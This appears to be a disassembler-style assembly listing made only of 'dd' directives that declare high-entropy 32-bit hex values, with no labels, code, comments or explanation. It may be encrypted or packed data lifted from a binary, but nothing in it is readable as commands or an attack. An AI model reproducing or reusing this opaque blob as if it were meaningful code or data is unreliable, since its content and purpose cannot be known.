		dd 487576C4h, 0B80B40D2h, 37237A44h, 0CD68BD13h, 0A3E43324h
		dd 802F3A28h, 0C1C833FBh, 0E0E95E96h, 62E61FA0h, 2CACF30Fh
		dd 6DBA30ADh, 9BDE5B41h, 3320926Eh, 23BC5367h, 1B66130Fh
		dd 0C0306A69h, 0AD9204E8h, 45045209h, 3914FA43h, 7831ACAh
		dd 0AB18CCh, 1C52BA8h, 2C8F55E5h, 9D103Fh, 0E29D6514h
		dd 71F94224h, 0C5E0D70h, 9C469353h, 8007A858h, 9C40E314h
		dd 52D2F8CCh, 1528BAECh, 150C967Ch, 9249DA3Bh, 7ECDCC12h
		dd 6569275Ah, 8D685754h, 0BF6A2382h, 752E1FF4h,	0D48C6056h
		dd 0EA486E14h, 7A5461D4h, 144AB874h, 9BA6FB14h,	10EE580Ah
		dd 1DA616ADh, 72E5B981h, 0ADAAD908h, 0D8CE637Fh, 91BE1D70h
		dd 468CCCC3h, 15278E6Dh, 5B4BD1A1h, 2598F851h, 8393B7A7h
		dd 0D5020D53h, 0CFD32A14h, 0F77F71D8h, 0DBBA1D8Bh, 0B90533B8h
		dd 0C78E8716h, 1980EC43h, 0A3C539B9h, 595CEEFBh, 0B64B9B32h
		dd 3E2BE60Eh, 8FFF3E9h,	0B340FD1Ah, 72FC12B9h, 0B1EDB0B5h
		dd 98E84781h, 2C5AF4E6h, 90C29BE6h, 0B9FE354Fh,	4FECED5Ch
		dd 1E49CB46h, 461F167Ch, 7F3D0299h, 474EE208h, 7F4AD850h
		dd 0E89D6DEFh, 7DA4F355h, 62E8FAF7h, 0F86C2C43h, 0D0A943D1h
		dd 5312F0A6h, 0EB4BA62Ah, 468FF5C6h, 1C217060h,	0BD235C83h
		dd 0F2EF3C13h, 0A3BD91C4h, 0AF5F4D69h, 857A2FEDh, 7ADDB014h
		dd 0A922662Ah, 67EAFA6h, 29DBE48Bh, 50A9DB2Eh, 0FFA2D7ECh
		dd 64013F60h, 0F6D45BD9h, 142EA0E7h, 0D13BCA50h, 0DF7DF036h
		dd 0EE424CEh, 0D621FCA4h, 9B1C7803h, 0E4D25EA3h, 0E3F9FEB8h
		dd 0B55F600Ah, 0B6FE96Ch, 80B18ABh, 0E66B3965h,	0FA7975Fh
		dd 6C9CD7F8h, 0E0420F64h, 18AB29A8h, 3CA03A0Ch,	0B5759CEBh
		dd 4082796h, 65612209h,	8004C064h, 9F578F6Fh, 874EE5A9h
		dd 96AD753Ch, 8A9F725Eh, 27F8F76Eh, 0FB5B115Eh,	9B61996Eh
		dd 46BB129Ah, 0E5F93184h, 45C65DD5h, 266C783Ah,	0DED3E0CEh
		dd 0F274EF6Dh, 8A832086h, 0B327C947h, 9AC31B1h,	0ADE58EE0h
		dd 42E172DCh, 0D0742EC5h, 954BE0C7h, 0FB9DE4A5h, 0B6C0FEFDh
		dd 8317B7A1h, 351060E9h, 18DAE1C8h, 0E487E0E2h,	0CA9D3D8Bh
		dd 51A0CE55h, 8A08743Dh, 6C27B14Dh, 8037AFADh, 30282A2h
		dd 14A510D0h, 5898D92Ah, 0FF6B13EFh, 0CDB293B1h, 0C6BC9460h
		dd 5BA61B39h, 0C6F116Eh, 1A6CBB68h, 29DA3FE4h, 0A80A52DCh
		dd 3065265Dh, 77E81F01h, 0F49AA51Ch, 0DC38B29Fh, 0ADD99022h
		dd 0A8C984B0h, 0F162BE1Bh, 0E9D2FC2h, 0B7D1D8E1h, 0D7DBBF06h
		dd 0DA123775h, 311F286Bh, 0AD907CB7h, 553769C3h, 98519F86h
		dd 703811DAh, 28919A6Bh, 72B924C5h, 0E2A7E294h,	0A96113C4h
		dd 212B02F4h, 4D012647h, 0FEDD4EF4h, 714818AEh,	8D5143DCh
		dd 2B55C671h, 4AB53032h, 51C54DA4h, 171CC375h, 38BD2EB2h
		dd 86F88FE0h, 0D36E9F2Ch, 2070014Fh, 97AD0204h,	0F9E62D99h
		dd 9DEC8F8Bh, 1E652058h, 0C8D470DFh, 457ECD56h,	0EBF09EB7h
		dd 0FD9AD6E9h, 44603587h, 3C361527h, 0F3C85D1Ah, 0BD33FA5Dh
		dd 3D4638A7h, 8C91AAC9h, 0BB6472CAh, 28CF987h, 8DDE6D53h
		dd 0C7235BA5h, 75AAA636h, 0B30C9329h, 2AB3F8DCh, 46262B9Dh
		dd 124C8D2h, 154F2B5Ch,	0BC0E27FAh, 0E21141D6h,	0CC7C25B5h
		dd 6C60CB3Eh, 0ABC4D406h, 0B74D3417h, 2F8D700h,	0B795A783h
		dd 92E0DC5h, 14E36556h,	94E2C822h, 0D3B122DAh, 449CA788h
		dd 3F460745h, 0F8A32A86h, 96AFEEB5h, 8BD0BA82h,	0E9F36F68h
		dd 0C34809FCh, 0ED216B31h, 0FFD4546Dh, 0AAFF2A4Ah, 7DE54EBFh
		dd 6D8175C6h, 0EFC8C9A1h, 1291916Ch, 2880EC8Ch,	4F48EBDEh
		dd 9C36CD14h, 9F7543EAh, 776B2900h, 0B6A84D96h,	0E927E08Ch
		dd 9DFA50D0h, 77CF8605h, 1ACB4BEAh, 0D12CF5A3h,	6BFDF056h
		dd 3029E374h, 39B21077h, 0B87C4E96h, 90F4C43Ah,	0A5841813h
		dd 0A009B1B3h, 590B20C0h, 28BCF721h, 0B882FF36h, 0A6AD5A31h
		dd 0FA792F80h, 0DAF91ACCh, 3480D2EFh, 820AC46Ah, 0EDD8A3CEh
		dd 0E71DCA48h, 82B84F68h, 10281886h, 0A38FD05h,	5D638FA1h
		dd 0E4F3D4B6h, 16FF60E9h, 6C6E42D4h, 0D809670Dh, 0A6C1F265h
		dd 0CC5866A4h, 4D1E5C57h, 6FA67D05h, 0DB12273Eh, 0C2E7E4E3h
		dd 91C72192h, 0A3C74B5Bh, 765E2F0Eh, 9CC42238h,	3E24069Bh
		dd 0C6DD4F00h, 0DF81170Dh
		dd 0A898CC95h, 26D16A45h, 0BB024A6Ah, 5C3517A8h, 15AF518Dh
		dd 86E7C6CAh, 0E56E9C55h, 0F42F4D82h, 8FF2A109h, 1CC4A35Eh
		dd 6956E520h, 71B196BEh, 0CA68DA0Ch, 5135563Ch,	180DC945h
		dd 67BAF0CCh, 24238109h, 0B3060DDh, 60B0E700h, 0FC6C09B9h
		dd 6A7F8797h, 0AF0787DDh, 0FF3786D2h, 0E05F9B9Dh, 756C816Eh
		dd 7B985197h, 1D034899h, 7717076Bh, 699EB04h, 34855E8Bh
		dd 6DCC5611h, 11FA28C1h, 451C590Ch, 0CD847BDh, 36153F44h
		dd 32BC7EF2h, 4A1A457h,	68C7935Ah, 36B73A4h, 0B3F7B0A5h
		dd 0FBA6CB60h, 0E79650CDh, 4FB81F7Ah, 4455CE84h, 1A88BC4Dh
		dd 0A7AEC76Bh, 0BB3AB3ADh, 0F89259FCh, 77B63EEAh, 461A144Ch
		dd 2A66E756h, 5D966934h, 0CB50D084h, 829DCD49h,	8498CEB5h
		dd 0EA013AA7h, 0BD3A88F3h, 1CCDD2FAh, 710FCE6Ah, 0CCEC6DA1h
		dd 7E554CE3h, 0E8E0FB8Dh, 833F9CE9h, 0CEA69D2Ch, 15C60DFCh
		dd 7BC465CFh, 0B9B441Eh, 67B32E89h, 552B1634h, 0FD85E85Dh
		dd 4109196h, 31CA5D02h,	34F0F2A4h, 3461F2E0h, 6F195AAAh
		dd 1789659Fh, 2090DC3Ch, 0B01BAD78h, 9F3FF1D1h,	0A5B0A9C8h
		dd 3ED51B99h, 0A3CDA834h, 0AF7C821Fh, 28AD89h, 0E2C73454h
		dd 4BC20E63h, 583553A3h, 0F69D9A7Bh, 947BAC0Eh,	1D652B0Fh
		dd 0B2AD4C9h, 0FDFC0388h, 22193344h, 79CA7574h,	0DBCC2FDh
		dd 79EFC3CCh, 0E03BC9CCh, 69A80AD4h, 0C222BC62h, 1DB2F1B4h
		dd 0AC954038h, 5B43A48Dh, 87054180h, 49081678h,	0FF5B8D25h
		dd 0D63B0F13h, 3D915B31h, 1212FA1Bh, 41291704h,	63903105h
		dd 28BDF120h, 861C6C5Eh, 494BD120h, 0FBCE40D2h,	0A0A59575h
		dd 0D4AAFD2Fh, 8EE3A30h, 7C8A4322h, 4DB16F06h, 0DFF44176h
		dd 9E18AC6Ah, 5415C1EEh, 0C55CD469h, 3BE7DFB9h,	20F7FDC2h
		dd 3502C084h, 273A7F27h, 0F260A1D6h, 6827503Eh,	0B64459DBh
		dd 0BB9500C1h, 0AA647674h, 425CB787h, 40D9B817h, 7E7090FFh
		dd 0C318A274h, 352AA22Ah, 5700652Eh, 0D38287BBh, 6C53238Ah
		dd 939D37F6h, 23A84F2Eh, 0F4EBCBA3h, 0B2357BD2h, 9EEFB3F4h
		dd 0F4F64306h, 37C6A7D0h, 0B863F121h, 5720F992h, 4BBC3D3Ah
		dd 0DF3BAC14h, 92220E9Fh, 348766F5h, 0C53EAE51h, 268D21A9h
		dd 7A94BEF8h, 646022E1h, 4204AF4Dh, 7F08201Ah, 29A08FEEh
		dd 0CA8DA032h, 0A0A32F6Bh, 0BB7F28ABh, 935DAF5Ah, 0EAD934EBh
		dd 70292819h, 0C3E16EB5h, 95743FA9h, 0F35D7B3Ch, 0A886D74Bh
		dd 530D1A88h, 0AB081403h, 642A1A50h, 22831C45h,	0BA7F1794h
		dd 0B6DC3CB9h, 0DA6B46D4h, 0C68C954Bh, 0C68E632Fh, 29E00656h
		dd 89F993E4h, 57817D57h, 81A09845h, 19796062h, 19B33231h
		dd 2A688BDCh, 0A918A13Fh, 0C042A0D8h, 21422548h, 5E632E44h
		dd 0A913BF47h, 258E48AAh, 7DEC2053h, 0D397513Ah, 0F572A54Dh
		dd 0E531260Ch, 0C205BD40h, 0C3DFFC7Fh, 0ECEBDC48h, 29FD1603h
		dd 0B192A0ECh, 1215E5B1h, 0EFE1D6Fh, 0A6E54146h, 4774FAE2h
		dd 0A69FE418h, 8F9BAFDFh, 0AFC09D99h, 17BE459Ah, 0F0988510h
		dd 0C527DE48h, 84769772h, 8EC265D2h, 869E6832h,	0EB4B6D21h
		dd 0E3FC4FCDh, 268AD155h, 0CAA62381h, 4837AC83h, 0C14345A2h
		dd 20293D1Dh, 6A2FA517h, 8E55E28Fh, 884173FAh, 0DBCB8B2Eh
		dd 0D08FC55Dh, 9DA8DB6Dh, 0A5BE5E54h, 0E12C0375h, 2A4A80E9h
		dd 768621E6h, 1834BBEAh, 7528A017h, 0B352B259h,	629667D7h
		dd 0EED792EFh, 0E5EAE203h, 55102082h, 0A65FB4AEh, 7351AB07h
		dd 7397585Fh, 1F5E9629h, 837EA785h, 719FD208h, 8CEEE17Bh
		dd 0A0C214D4h, 26B6DA24h, 0BB0EE95Fh, 6325D9B7h, 95498Eh
		dd 56A45737h, 2210C154h, 0F29C76E2h, 0AA0945C6h, 726CB01Bh
		dd 2288C6B7h, 2BE59B54h, 8761CB07h, 0B3678BE1h,	0F801D24Ch
		dd 0AE56DC70h, 46B29349h, 8E7DC46h, 0DF7D6982h,	0A6F757AFh
		dd 0DED0DF80h, 5C6B9BEh, 542C6155h, 9315F4DDh, 0B1B9F11Eh
		dd 0C72A11FCh, 0DCCCEA7Ch, 6F3A8064h, 24E86190h, 0EEBA641Eh
		dd 0C01DABBh, 592B10D8h, 4A6174ACh, 9CD47F5Ah, 0D0B5C35Ch
		dd 0E3DB0C45h, 9EEF2574h, 0A36F6769h, 34D5649Fh, 5EC37895h
		dd 40102AF8h, 19551F90h, 0EF397325h, 0D1136A9Ch, 666DEBDFh
		dd 7CD259ADh, 0CFA7E8ACh, 662370FAh, 0B9376046h, 0CE90ABE2h
		dd 0C9B098E7h, 0FDEBD17Ah, 5D644A8Eh, 0C972A9F2h, 8749CEE2h
		dd 66C59E9Ch, 1B58398Bh, 0B7BF3E6Bh, 0F887A821h, 63EBACE4h
		dd 90E9DD22h, 6630F066h, 0EE272886h, 0A0F86D3Bh, 159C77A6h
		dd 0BCA9F5B0h, 0A04155A1h, 0DF5F42C2h, 91B2AB5Ch, 16D2F0D9h
		dd 5F8BED09h, 50A9EDC8h, 0DE61A2EDh, 0CAF84E09h, 747F2F13h
		dd 567373AFh, 6F78CAAFh, 4BFA38FCh, 2E343458h, 0EA865F75h
		dd 1EF2494Eh, 4D8143C5h, 0DE03C9CFh, 0E784993Fh, 0A01E506Dh
		dd 0BBF3C5F6h, 130CFF58h, 3C70A874h, 0E93E5A52h, 720A6FDh
		dd 812F8A85h, 119D3327h, 9F76C417h, 0E5C98142h,	5768515Ch
		dd 0F896943Eh, 0E587DC1Ah, 428531DFh, 6F4AC093h, 8A836C66h
		dd 0C2C14E8Bh, 0E27962A3h, 0AAA29513h, 81092D21h, 0AD2504A6h
		dd 1D341AB9h, 8E5D2AABh, 0D260FEC4h, 515B275Bh,	0DB17F3AEh
		dd 0B7AE6EDh, 0DD0A35Fh, 14268224h, 0C74BD6Ch, 0A823265Fh
		dd 0B271A012h, 0E811042Ah, 19E03A9Dh, 0D839A966h, 26EA6C17h
		dd 1A8025CEh, 2B0FD278h, 8021B337h, 23F5D646h, 667657CCh
		dd 82055751h, 0C5287804h, 4134F0BEh, 0E4853446h, 68841879h
		dd 4FDE61A2h, 141BEF92h, 952CCE13h, 0C1329728h,	96A0F69Eh
		dd 0ACFE3DC5h, 19174B12h, 0E34B3FBh, 1D1AA979h,	89FB6EDCh
		dd 0A365B458h, 825A056Eh, 16D30AB0h, 0CEF16DDFh, 54A4240Ch
		dd 445BF950h, 6D3EB149h, 81FC58D1h, 0C4AB436Fh,	94CABA7Ah
		dd 16818A8Eh, 0CC127A54h, 2CC29051h, 0DF6846E0h, 0CFBCBA6Ah
		dd 85490C69h, 8C21B140h, 0E13D9DF9h, 132C30E5h,	1CCCB8Bh
		dd 1AC97F5Dh, 0D4C8749Eh, 3B9FE8EAh, 1DA0116Dh,	7C934A99h
		dd 0FB07C438h, 2E8684D5h, 75758339h, 2DC40376h,	0C69E7E8Ch
		dd 6F71A480h, 541B5A63h, 8D3B532h, 636BF324h, 55881041h
		dd 52C44EC3h, 7257AB57h, 0F06B788Eh, 3F117D1Fh,	12593A91h
		dd 0C7DFABD2h, 0CE9EEB94h, 0A32E693Dh, 129E27D3h, 8AC377EFh
		dd 7C34F254h, 732D49E8h, 9CE8933Bh, 6DC64632h, 0E866C11h
		dd 0C50D0FC0h, 0D8B68749h, 7390E534h, 43FF27CBh, 91673755h
		dd 0D83943C9h, 0E72D9606h, 2D07A3A3h, 0EC19C235h, 232CC563h
		dd 184C04A0h, 0C9A9F43Eh, 617F23EBh, 86E29960h,	50FC0278h
		dd 827A4FC3h, 60D97163h, 7C0C6584h, 510D8A95h, 0DF2ABA2Fh
		dd 0B184624h, 1D19EDDEh, 0F51EEE75h, 8F2344D0h,	0BFD0FFD5h
		dd 497E4667h, 2898A5D5h, 3DB2B2A6h, 6C575E99h, 8593F8AFh
		dd 67AAF9F3h, 0F0C9574Ah, 3BF6B0A2h, 0DCE0AD3Dh, 79DAA6D0h
		dd 52D19FEBh, 27146A02h, 0BB4A0B8Bh, 62C1D90Eh,	0B9D39A36h
		dd 0EDE0AA95h, 508C3035h, 3C095DC4h, 31C15A2Eh,	9BFA3804h
		dd 1BBD873Eh, 0F590A945h, 0DF7038C7h, 0D3F2EC6Bh, 588FF611h
		dd 0F6A900C6h, 0E617BFDEh, 476B0409h, 0EE525275h, 0EADCC2D7h
		dd 57E43B37h, 9A1E63E0h, 48DBBA0Ah, 5465D55h, 7A07E36h
		dd 0C5C13015h, 0C412D580h, 0D909B04Ch, 1EB26E0Ah, 0C9053FCDh
		dd 774A903Ch, 0AE7D23D4h, 0BA8D242Eh, 0F4FE1F81h, 5C1C6C43h
		dd 8008FCE0h, 45EF00D4h, 591B3B14h, 0A291E6FEh,	0B6D3CFF8h
		dd 11FAD43Ch, 84B500C6h
		dd 0D1B792A6h, 0D8415D66h, 4DEDD452h, 212CF6A0h, 792F07FAh
		dd 5858A015h, 6A83FF4Bh, 8919C026h, 0FBFB1CE5h,	1EA086EBh
		dd 0AFC1DBADh, 65C76118h, 0B69B8863h, 149B1F63h, 14AD133Ch
		dd 4797CD12h, 1B6EC21h,	0A93EEB1Ah, 0C2E794DFh,	0C102F85Ch
		dd 6D24F60Fh, 0E1F5BB5Fh, 3438BDC4h, 27B78CDEh,	6EF2FB2Ch
		dd 0AC9CB585h, 6050EA4Eh, 0BB6C81EFh, 0F3AB2BB2h, 0E5247676h
		dd 0CB0EFC32h, 60FA8662h, 0F50A1759h, 0A8F7833Fh, 0FDC25B2Eh
		dd 995F750Bh, 10F57737h, 815C5297h, 0DCBD644Ah,	90D8EDB1h
		dd 0ED3B2Eh, 0A123E883h, 2A98A740h, 1D493E36h, 972EAD88h
		dd 0ACAB693Ch, 509213A9h, 0BD5270C5h, 0A20F7218h, 86ACF2E3h
		dd 946B421h, 8CA8A94Ah,	899D1AA9h, 0DF792617h, 0BBE86FBAh
		dd 6BF20947h, 1E6CB389h, 456F60BBh, 0DFCB41B9h,	993D5D38h
		dd 0B6AF4C2Fh, 0B5656270h, 221F5FC6h, 85683262h, 797EC56Fh
		dd 7881C4C2h, 8078EB43h, 78270DEAh, 517964C7h, 2FF8F6ECh
		dd 0B9421DBCh, 0EAE7F2E2h, 801580F2h, 4779A515h, 4D047807h
		dd 5BF34399h, 0EC885831h, 0AD25579Dh, 78D8CEF7h, 0A3E8D9EDh
		dd 0C8EC090Bh, 33435633h, 73AF3AB6h, 9A99D240h,	0A9930E15h
		dd 7D80679Ch, 7E87F632h, 53D10D5Bh, 1E32EB79h, 3E67B9FBh
		dd 2CC29191h, 4D66B6E4h, 405DAB8Bh, 0C105F741h,	42F43F8h
		dd 0F60F7AF6h, 5658126Bh, 44F2581Ah, 0B3566734h, 5C03B57h
		dd 0FBF57299h, 2E55A486h, 0AEB2A897h, 0CFC769A0h, 1AB8940Ch
		dd 74D89518h, 9AFD92CFh, 86EA18CEh, 5E64FA13h, 7AB162FFh
		dd 0D12C2706h, 15932B8Dh, 1294FCD2h, 39471741h,	9C03EC6Ch
		dd 97D2532Ah, 0D3DD0Ah,	6C34DF6Dh, 0C48434F7h, 0C496D686h
		dd 2450EF86h, 2506E1Fh,	8CACBDEBh, 79AB9529h, 16365C2Dh
		dd 0B537AB83h, 0A17140D3h, 0E83F9227h, 3028116Eh, 2A546BCBh
		dd 5841DCF2h, 0E0BCA750h, 0D87EE950h, 0A7B540A1h, 0D3302CCBh
		dd 6C024653h, 3B0471D8h, 24749FA3h, 479A1A28h, 40061C25h
		dd 19373E66h, 0AA4BB092h, 0AEFAA78Bh, 957EA411h, 7F107395h
		dd 51422478h, 636E4337h, 0B66D13D5h, 42E9F509h,	9C502AFh
		dd 7BCFE5D2h, 0CE2501E1h, 83DA2135h, 574E16E9h,	35384DAAh
		dd 0F74AC49Eh, 0DA33A542h, 89958B7Bh, 0E8FDE355h, 72E2D073h
		dd 0B062B6B5h, 0B8A186F0h, 0CE0E573Dh, 0B2BDD74h, 0C9E9838Ch
		dd 0C6752F4Dh, 172A916Bh, 7B834951h, 472962B8h,	141B6B90h
		dd 0A10011ADh, 722DF995h, 0C9C209ACh, 9208CCA4h, 4442C4D7h
		dd 0C1C7B987h, 0DBFDE919h, 0E7F55A77h, 11865D05h, 0F92FBCB1h
		dd 29CD4333h, 4DB8A015h, 81ED6DB8h, 0A4E0671h, 286A4697h
		dd 0CF1101A9h, 2A20A0C6h, 0EE794198h, 45F44465h, 0CBCCEF8Ch
		dd 91CA7D1Ch, 0C3265431h, 15432681h, 36CDF89Ch,	0D715424Dh
		dd 741E98h, 0B1471295h,	21D862DFh, 0E0E6BD0Bh, 0A5C6FAFCh
		dd 0B004C7DBh, 0FCAA2C34h, 4A6E2478h, 51DD3EC4h, 918DA3FBh
		dd 2EF29EBh, 1A8F7873h,	0AAB3A6BAh, 0E7AB3978h,	622532AEh
		dd 7E8AEE57h, 2302A06Eh, 0CF33440Dh, 54ACC2FBh,	0E8FEC27h
		dd 0ADBDF5AFh, 0CE432AD1h, 0C511C86Bh, 1BFC894h, 47C31561h
		dd 6C60BBBBh, 9ACC2BB6h, 124C8F35h, 0C7A8C4CDh,	804663FCh
		dd 0E0AB515Ah, 7A102C65h, 8B4685AFh, 0E5980322h, 0D30D0FDBh
		dd 5056D504h, 3CD5E5Fh,	1B5E8DFh, 5A2D1E85h, 0FF1178D4h
		dd 11491077h, 42FDEBFCh, 0E48AA0E3h, 87E19CBFh,	0F1D3C109h
		dd 0E2AF8EFEh, 3F5A5B7Dh, 32DB27BDh, 0A179B2AFh, 4EA4C5D7h
		dd 0CA8695CFh, 0DECE8EBh, 135922EAh, 48E407E1h,	7B091DF2h
		dd 1A6CD564h, 9C26B6C0h, 2018AE59h, 0D6B41C74h,	0CCA1C119h
		dd 21A004F5h, 4D2271EEh, 42857FC2h, 34B37A5Ch, 66473D46h
		dd 0BDE3DCB7h, 0EC7CE39Ch, 0E9E43F4Eh, 0B2339E8Bh, 0AD658F56h
		dd 0FC173E5Eh, 4A21CB6h, 29E7FC0Dh, 1D3252C0h, 560AC964h
		dd 5CA8DB6Bh, 6BD1EF26h, 0EC006058h, 0A8F758BDh, 26B18D4Ch
		dd 1708C927h, 831618E8h, 6D013CA3h, 71ACB186h, 0BC3C67FFh
		dd 0A644987Ch, 7F11002Fh, 8EF8ED15h, 18EE6BC2h,	0B6003AAFh
		dd 106F00F7h, 0EAF4D173h, 0E47A9E38h, 5F27AD43h, 2017A791h
		dd 0DCE71017h, 92202628h, 0B719652h, 3A0D9AABh,	3CBA6B31h
		dd 17C9B341h, 101B1A33h, 0C17EF213h, 49F7C12Dh,	8D306C68h
		dd 8022074h, 4F50217Fh,	0F2421A7Eh, 122C2030h, 0A9B78980h
		dd 789083BFh, 0C7FE9CE1h, 0BFE6E254h, 0D4033551h, 146153BDh
		dd 25784ACBh, 0D88108A5h, 0D37F0C4Dh, 22BEE4C8h, 9ABEF764h
		dd 6BAB39D2h, 0BCE25005h, 5999AA53h, 0F2743A4Dh, 8B5E7E7Dh
		dd 67F02CDCh, 0AD073DFh, 0AA19F90Ah, 0F2A27846h, 5FB7C183h
		dd 420F02B0h, 0CC5E2077h, 2DFA18FDh, 333F96F9h,	42475C76h
		dd 8E10564h, 784572E7h,	509921CFh, 2325B15Bh, 5B6721C7h
		dd 53250099h, 21DC33B6h, 891BDF85h, 335488DBh, 72209FDDh
		dd 0A52400D2h, 0C0F441ABh, 0DF73723Ch, 5BAFB30Bh, 4B122509h
		dd 0C315A699h, 24B2FBCFh, 39D6ADD6h, 27946D87h,	4A2E35B2h
		dd 0F684E3DDh, 0BAF9BBDBh, 3A555F7Ah, 5EBB8DF5h, 0ACD76073h
		dd 289728B3h, 9F6FCAF4h, 75975638h, 160AEE94h, 0B4A36C4Fh
		dd 13995637h, 0AE67630Fh, 86C93E6Ah, 2D7D6A85h,	0E4467703h
		dd 57339AC8h, 5974F40h,	40C3D57Eh, 4007D949h, 0B07750D3h
		dd 38064C5Bh, 951C7BA3h, 0F54D094Bh, 0FC3B1B64h, 92322B3Eh
		dd 8947525Eh, 0B61CBC02h, 1B0C24F8h, 0ADC0802Ch, 0C3199BF7h
		dd 5005FA08h, 8E60006Bh, 8F9262FFh, 0C024D626h,	0EE650B6Bh
		dd 80919A5Ch, 5D808B48h, 83E0A9Dh, 3F9CBAA0h, 0DC30A3D1h
		dd 0A72A7351h, 0DAC69306h, 6F15AC90h, 8C47FD44h, 99D97889h
		dd 254C2177h, 3278801Eh, 4BC57406h, 3D8A61D7h, 5F66648Fh
		dd 0A110F26Ah, 4CFCB998h, 2EB1432Ch, 86FED11Dh,	11A7BD20h
		dd 0BEBEE8C0h, 73162BEDh, 2F7A44C2h, 7515535Fh,	211D0A65h
		dd 0AAD754EBh, 85ABE67Bh, 363D159Ah, 7C20619Eh,	8ED6E489h
		dd 0E4BF83B2h, 58D688FEh, 2FAFBBE4h, 0DB585CEBh, 5AE65B61h
		dd 0E74C6E08h, 0EBA6B77Ah, 38AB4959h, 0F97B02F6h, 0D8C4DFB2h
		dd 5B9D0D4h, 0CBD85D19h, 54A371ECh, 393FCFC1h, 0CB8A5A81h
		dd 6D1F85Dh, 0D1DE48A7h, 0A8FE239Ah, 4E3C881Ch,	0AA279A7Eh
		dd 59712F0Dh, 0C07F683Dh, 0FBE8320h, 145716F0h,	31B338D5h
		dd 9190833h, 0F92B3730h, 0FFE848D4h, 5E7A4A79h,	0E5DCDC2Bh
		dd 0B1F8A76Fh, 12D46FD2h, 4CD1ACDAh, 7702A07Fh,	52D0EE17h
		dd 69976335h, 0B7E57F96h, 0CECE8273h, 1FFD534Dh, 6CC4164Dh
		dd 0E951D8A3h, 104C1EBFh, 78F35628h, 0F09B4DFDh, 0CACBF8DDh
		dd 5B62EE16h, 103FFFDDh, 1C651E85h, 34BE8E76h, 0ABA7C396h
		dd 0FAD431EEh, 0EF74942Dh, 9E175A40h, 45305C88h, 2DD3F95Fh
		dd 0D26FAE85h, 5BB940F7h, 4F968320h, 0FA2CF051h, 35447A3Bh
		dd 0D591C56Bh, 0B46FCF0Ch, 0A476BC59h, 92A8D0E7h, 57AFC3C8h
		dd 38EE570Bh, 0B363D1A1h, 6C74DDA4h, 42165E8Eh,	3A9800A7h
		dd 8F69E1E1h, 0C504192Ch, 3E0571A2h, 68EB9C46h,	0AB3F06E4h
		dd 5C23E479h, 1E53ACF0h, 0BDD2E0B5h, 0F0964AE3h, 0C685342Dh
		dd 4E3DA491h, 285DB4D5h, 28636DC7h, 69CFC21Dh, 0C72F1408h
		dd 5E28678Bh, 0EA1C1D0Ch, 4EE0CD30h, 0C640CFC1h, 7E1FEB1Dh
		dd 6E61ADBEh, 3147F0F1h, 3DB38194h, 9ABBE86Ah, 3626D30Fh
		dd 219ED3B8h, 0E930CB49h
		dd 69AFBD82h, 0E9AF7CD1h, 36F30134h, 22E62E78h,	2A535693h
		dd 0A846CA1Bh, 6AF355FDh, 0AFC6BFFh, 7B7F23E1h,	857E46CAh
		dd 2362DED7h, 0A3CC63F7h, 0F5601C3Dh, 4B9B076Bh, 6A6DA1EBh
		dd 366639B8h, 59D0426Eh, 4F218897h, 0B24E0662h,	610B98F2h
		dd 6B94C13Ch, 0F606A8FEh, 0A5269933h, 21BD465Ah, 8F869DAFh
		dd 98DE6E39h, 0F0BE761Bh, 0DD89DE76h, 0BE9C596Ah, 427B2207h
		dd 0F8EC5256h, 596BBE7Bh, 313F4C9Eh, 488C34E7h,	7075F550h
		dd 0D3447C26h, 9A1CE86Ah, 0B24F9CD7h, 7A9029C0h, 213026FEh
		dd 4D8501B3h, 446E0009h, 4215E926h, 0A440FA6Ah,	7F930ECDh
		dd 19812D92h, 0C2786E5Bh, 0BCF840C2h, 57896230h, 6C2FF9E2h
		dd 0AD02CBC2h, 56A6E091h, 56094C9Ch, 0A0669534h, 0ECEA2B76h
		dd 41ECEF89h, 0B9967102h, 0F01F4000h, 37AA61EAh, 0D988FC02h
		dd 0FAAD8A41h, 0CFF9093Eh, 6091250Fh, 68AC6793h, 0F8143D17h
		dd 4B9A5DADh, 0F2B3DD78h, 0F0AF77CBh, 0FFFB1695h, 790ADDD7h
		dd 629E18E6h, 0BA551616h, 980CA1BFh, 6388EC65h,	997FA47Bh
		dd 64DD8019h, 97784BBCh, 0F95948E4h, 0E800FDB9h, 0A1101E61h
		dd 0D08511Bh, 2276059Bh, 0BA54A71Fh, 2DC4A8EBh,	0C38944AEh
		dd 0E20F8666h, 0BA839696h, 8075F164h, 28522313h, 0C7920AD6h
		dd 0EE21E7F2h, 0C9058CE7h, 3C29E4FFh, 0A746EB76h, 25DBE0Ah
		dd 0BE14B99Ah, 966B37F6h, 653288F6h, 0C22DA5B9h, 515EEFCBh
		dd 0D440FB73h, 515D5105h, 5BA89E2Fh, 45257D70h,	5D6DF483h
		dd 0CDA9F352h, 0CBAF4A38h, 72AF8EE5h, 63FD5B55h, 920F30DCh
		dd 65830B39h, 0A4DFB392h, 0AB768376h, 99C01DABh, 0DA19292Fh
		dd 0F6C5A68Eh, 53C294FDh, 0FC9A106Bh, 49F0DBCCh, 5CACC056h
		dd 330ADB4Bh, 637E7BF4h, 6C96CBF3h, 0E2B84E71h,	0D8384BC3h
		dd 0EB39B652h, 53D2318Dh, 86CF6007h, 10129337h,	2C266AFEh
		dd 2EEF827Ah, 1092FCC9h, 9F3E402Bh, 0F4692A91h,	9ED1423Eh
		dd 90B616FCh, 6539C93Eh, 0C62A3B36h, 0C0B597D2h, 3E0CFF51h
		dd 0FF89997Ch, 0F3D0BDAEh, 86D3AF67h, 0B4E49B64h, 0A7408DD8h
		dd 0CC19DE0Eh, 71FA26Fh, 6932A4AAh, 3D92038h, 65F8A02Bh
		dd 5107FE68h, 2F025960h, 0D20B392h, 0CB3E5C23h,	60FA768Ch
		dd 3420E570h, 305A3182h, 700BDC21h, 55753A2Eh, 1E4450Ch
		dd 43FA77A9h, 0AA9527A4h, 2826255Dh, 12EEBBA4h,	1435C48Dh
		dd 0E88094B1h, 0ADBC2104h, 53919A3h, 818D2FF4h,	4168DDD4h
		dd 0B31065FEh, 0D46DA867h, 0C3C05AA2h, 0FCB03252h, 0F27098C1h
		dd 0D9F9615Ch, 1EA8A006h, 3518B73Dh, 0D1A1BE0Dh, 0A0FDA684h
		dd 2F8F534h, 0D0F2AD2Dh, 9960CFBBh, 87E5A967h, 0C4313485h
		dd 0E3CDFA35h, 9551A793h, 0F2C18F47h, 988E35A0h, 0BB33092Bh
		dd 6C7035CDh, 78FB4909h, 6A5E3C63h, 6047ACDAh, 91146CFAh
		dd 0FE03AA17h, 2CC3846Fh, 8045CA06h, 0BFECD7C4h, 0E244A6FAh
